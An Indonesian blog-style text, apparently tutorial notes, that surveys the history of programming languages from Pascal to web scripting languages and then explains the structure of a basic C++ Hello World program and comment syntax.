Didesain oleh Niklaus Wirth, yang keluar dari tim ALGOL 68. Merupakan bahasa yang dikembangkan dari ALGOL 68. Didesain untuk pengajaran pemrograman terstruktur. Kecil dan mudah, tidak terdapat hal yang benar-benar baru. Tetap menjadi bahasa pemrograman yang digunakan secara luas untuk mengajarkan pemrograman di universitas-universitas.
  • Prolog (1972)
Prolog adalah bahasa pemrograman logika atau di sebut juga sebagai bahasa non-prosedural. Namanya diambil dari bahasa perancis programmation en logique (pemrograman logika). Bahasa ini diciptakan oleh Alanin Colmerauer dan Robert kowalski sekitar tahun 1972 dalam upaya untuk menciptakan suatu bahasa pemrograman yang memungkinkan pernyataan logika alih-alih rangkaian perintah untuk dijalankankomputer.
Berbeda dengan bahasa pemrograman yang lain, yang menggunakan algoritma konvensionl sebagai teknik pencariannya seperti pada Delphi, Pascal,  Basic, Cobol  dan bahasa pemrograman yang sejenisnya, maka prolog menggunakan teknik pencarian yang di sebut heuristik (heutistic) dengan menggunakan pohon logika.
  • C (1972)
Didesain untuk pemrograman system oleh Dennis Ritchie dari Bell Labs. Dikembangkan dari bahasa B dan ALGOL 68. Memiliki operator yang banyak, tetapi dari segi pengecekan tipe data (type checking) kurang baik. Didistribusikan bersama system operasi UNIX.
  • Smalltalk (1972-1980)
Dikembangkan di Xerox Palo Alto Research Center (Xerox PARC), oleh Alan Kay, kemudian dilanjutkan oleh Adele Goldberg. Merupakan bahasa yang pertama kali mengimplementasikan  konsep object-oriented (data abstraction, inheritance, dan dynamic type binding). Merupakan pionir dari GUI (Graphical User Interface).
  • Ada (1983)
Bahasa pemrograman Ada, adalah sebuah bahasa pemrograman prosedural yang didesain di bawah arahan Departemen Pertahanan Amerika Serikat pada akhir tahun 1970-an dan awalnya ditujukan sebagai bahasa utama dalam membangun perangkat lunak Departemen Pertahanan. Nama Ada sendiri diambil dari Augusta Ada Byron, seorang istri bangsawan (countess) Lovelace yang dianggap sebagai seorang pemrogram komputer (programmer) yang pertama. Bahasa ini diturunkan dari bahasaPascal tapi memiliki beberapa tambahan semantik dan sintaksis, seperti halnya eksekusi tugas secara serentak, operator overloading, dan juga module. Ada 95 mendukung OOP melalui penurunan tipe, terdapat mekanisme kontrol yang lebih baik dalam penggunaan data secara bersama-sama, library lebih flexible.
Kontribusi :
– Packages – dukungan untuk data abstraction.
– Exeception handling.
– Generic program units.
– Concurrency – melalui model tasking
  • C++ (1985)
Dikembangkan oleh Bjarne Stroustrup di Bell Labs. Merupakan pengembangkan dari C dan SIMULA 67. Terdapat fasilitas OOP yang berasal dari SIMULA 67 dan ditambahkan ke C. Mempunyai exception handling. Merupakan bahasa yang besar dan kompleks karena mendukung procedural programming dan object-oriented programming. Popularitasnya cepat berkembang bersama dengan OOP. Menjadi standard ANSI pada tahun 1997.
  • Java (1995)
Dikembangkan oleh James Gosling, Sun Microsystems. Java didasarkan pada penyederhanakan C++. Kekurangan Java adalah bahasa ini hanya mendukung OOP. Java mempunyai reference, tetapi tidak pointer. Terdapat juga dukungan untuk applets (world wide web) dan concurrency (Java Threads).
  • Scripting Language untuk Web
a)      JavaScript
Digunakan pada Pemrograman Web (client-side) untuk mengahasilkan dynamic HTML document. Mempunyai syntax yang mirip dengan Java.
b)      PHP (PHP Hypertext Preprocessor)
Digunakan pada Pemrograman Web (server-side). PHP menghasilkan code HTML sebagai outputnya. Mempunyai syntax yang mirip dengan C++ (support OOP).
c)      VBScript
Digunakan pada Pemrograman Web (client-side) untuk mengahasilkan dynamic HTML document. Didasarkan atas Visual Basic. Bahasa ini dikembangkan oleh Microsoft.
d)      Jscript
Digunakan pada Pemrograman Web (client-side) untuk mengahasilkan dynamic HTML document. Memiliki syntac yang mirip dangan C++. Dikembangkan oleh Microsoft.
e)      ASP (Active Server Page)
Digunakan pada Pemrograman Web (server-side) menghasilkan code HTML sebagai outputnya. Dikembangkan oleh Microsoft.

Minggu, 07 November 2010

Struktur Bahasa C++

Contoh 1           :                                                           Hasil    :

// my first program in C++                                   Hello World!    
#include <iostream.h>
int main ()
{
  cout << "Hello World!";
  return 0;
}

Sisi kiri merupakan source code, yang dapat diberi nama hiworld.cpp dan sisi kanan adalah hasilnya setelah di-kompile dan di-eksekusi.

Program diatas merupakan salah satu program paling sederhana dalam C++, tetapi dalam program tersebut mengandung komponen dasar yang selalu ada pada setiap pemrograman C++. Jika dilihat satu persatu          :

// my first program in C++
Baris ini adalah komentar. semua baris yang diawali dengan dua garis miring (//) akan dianggap sebagai komentar dan tidak akan berpengaruh terhadap program. Dapat digunakan oleh programmer untuk menyertakan penjelasan singkat atau observasi yang terkait dengan program tersebut.
#include <iostream.h>
Kalimat yang diawali dengan tanda (#) adalah are preprocessor directive. Bukan merupakan baris kode yang dieksekusi, tetapi indikasi untuk kompiler. Dalam kasus ini kalimat  #include <iostream.h> memberitahukan preprocessor kompiler untuk menyertakan header file standard iostream. File spesifik ini juga termasuk library deklarasi standard I/O pada C++ dan file ini disertakan karena fungsi-fungsinya akan digunakan nanti dalam program.
int main ()
Baris ini mencocokan  pada awal dari deklarasi fungsi main. fungsi main merupakan titik awal dimana seluruh program C++ akan mulai dieksekusi. Diletakan diawal, ditengah atau diakhir program, isi dari fungsi main akan selalu dieksekusi pertama kali. Pada dasarnya, seluruh program C++ memiliki fungsi  main.
main diikuti oleh sepasang tanda kurung () karena merupakan fungsi. pada C++, semua fungsi diikuti oleh sepasang tanda kurung () dimana, dapat berisi argumen didalamnya. Isi dari fungsi main selanjutnya akan mengikuti,berupa deklarasi formal dan dituliskan diantara kurung kurawal ({}), seperti dalam contoh.
cout << "Hello World";
Intruksi ini merupakan hal yang paling penting dalam program contoh. cout merupakan standard output stream dalam C++ (biasanya monitor). cout dideklarasikan dalam  header file iostream.h, sehingga agar dapat digunakan maka file ini harus disertakan.
Perhatikan setiap kalimat diakhiri dengan tanda semicolon (;). Karakter ini menandakan akhir dari instruksi dan harus disertakan pada setiap akhir instruksi pada program C++ manapun.
return 0;
Intruksi return menyebabkan fungsi main() berakhir dan mengembalikan kode yang mengikuti instruksi tersebut, dalam kasus ini 0. Ini merupakan cara yang paling sering digunakan untuk mengakhiri program.

Tidak semua baris pada program ini melakukan aksi. Ada baris yang hanya berisi komentar (diawali //), baris yang berisi instruksi untuk preprocessor kompiler (Yang diawali #),kemudian baris yang merupakan inisialisasi sebuah fungsi (dalam kasus ini, fungsi main) dan baris yang berisi instruksi (seperti,  cout <<), baris yang terakhir ini disertakan dalam blok yang dibatasi oleh kurung kurawal ({}) dari fungsi  main.




Struktur program dapat dituliskan dalam bentuk yang lain agar lebih mudah dibaca, contoh :

int main ()
{
  cout << " Hello World ";
  return 0;
}

Atau dapat juga dituliskan       :

int main () { cout << " Hello World "; return 0; }

Dalam satu baris dan memiliki arti yang sama dengan program-program sebelumnya. pada C++ pembatas antar instruksi ditandai dengan semicolon (;) pada setiap akhir instruksi.

Contoh 2          :                                                           Hasil    :

// my second program in C++                             Hello World! I'm a C++ program

#include <iostream.h>

int main ()
{
  cout << "Hello World! ";
  cout << "I'm a C++ program";
  return 0;
}

 


Komentar
Komentar adalah bagian dari program yang diabaikan oleh kompiler. Tidak melaksanakan aksi apapun. Mereka berguna untuk memungkinkan para programmer untuk memasukan catatan atau deskripsi tambahan mengenai program tersebut. C++ memiliki dua cara untuk menuliskan komentar :

//    Komentar baris
/*    Komentar Blok     */

Komentar baris, akan mengabaikan apapun mulai dari tanda (//) sampai akhir dari baris yang sama. Komentar Blok, akan mengabaikan apapun yang berada diantara tanda /* dan */.